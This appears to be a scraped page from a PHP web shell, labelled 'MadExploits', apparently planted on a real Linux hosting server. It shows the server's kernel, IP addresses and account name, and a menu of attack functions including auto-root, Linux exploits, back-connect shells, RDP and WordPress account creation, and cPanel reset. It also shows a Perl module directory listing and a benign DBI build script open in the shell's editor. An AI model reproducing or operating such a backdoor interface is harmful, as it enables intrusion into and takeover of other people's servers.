Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.191.189.119
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
vendor_perl /
[ HOME SHELL ]
Name
Size
Permission
Action
Attribute
[ DIR ]
drwxr-xr-x
BSD
[ DIR ]
drwxr-xr-x
Bundle
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
DBD
[ DIR ]
drwxr-xr-x
DBI
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
DateTime
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filesys
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Readonly
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Template
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
YAML
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
threads
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
CDB_File.pm
10.42
KB
-rw-r--r--
Curses.pm
34.98
KB
-rw-r--r--
Cwd.pm
21.25
KB
-rw-r--r--
DBI.pm
304.17
KB
-rw-r--r--
DB_File.pm
62.24
KB
-rw-r--r--
DateTime.pm
115.31
KB
-rw-r--r--
DateTimePP.pm
5.12
KB
-rw-r--r--
DateTimePPExtra.pm
1.33
KB
-rw-r--r--
Encode.pm
32.17
KB
-rw-r--r--
FCGI.pm
7.36
KB
-rw-r--r--
Socket.pm
35.47
KB
-rw-r--r--
Socket6.pm
9.57
KB
-rw-r--r--
Template.pm
24.41
KB
-rw-r--r--
bun-x.pl
1.22
KB
-rwxr-xr-x
dbixs_rev.pl
1.51
KB
-rwxr-xr-x
encoding.pm
20.04
KB
-rw-r--r--
threads.pm
34.48
KB
-rw-r--r--
version.pm
2.85
KB
-rw-r--r--
version.pod
9.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dbixs_rev.pl
#!/usr/bin/perl -w use strict; my $dbixs_rev_file = "dbixs_rev.h"; my $is_make_dist; my $svnversion; if (is_dbi_svn_dir(".")) { $svnversion = `svnversion -n`; } elsif (is_dbi_svn_dir("..")) { # presumably we're in a subdirectory because the user is doing a 'make dist' $svnversion = `svnversion -n ..`; $is_make_dist = 1; } else { # presumably we're being run by an end-user because their file timestamps # got messed up print "Skipping regeneration of $dbixs_rev_file\n"; utime(time(), time(), $dbixs_rev_file); # update modification time exit 0; } my @warn; die "Neither current directory nor parent directory are an svn working copy\n" unless $svnversion and $svnversion =~ m/^\d+/; push @warn, "Mixed revision working copy ($svnversion:$1)" if $svnversion =~ s/:(\d+)//; push @warn, "Code modified since last checkin" if $svnversion =~ s/[MS]+$//; warn "$dbixs_rev_file warning: $_\n" for @warn; die "$0 failed\n" if $is_make_dist && @warn; write_header($dbixs_rev_file, DBIXS_REVISION => $svnversion, \@warn); sub write_header { my ($file, $macro, $version, $comments_ref) = @_; open my $fh, ">$file" or die "Can't open $file: $!\n"; unshift @$comments_ref, scalar localtime(time); print $fh "/* $_ */\n" for @$comments_ref; print $fh "#define $macro $version\n"; close $fh or die "Error closing $file: $!\n"; print "Wrote $macro $version to $file\n"; } sub is_dbi_svn_dir { my ($dir) = @_; return (-d "$dir/.svn" && -f "$dir/MANIFEST.SKIP"); }
Close
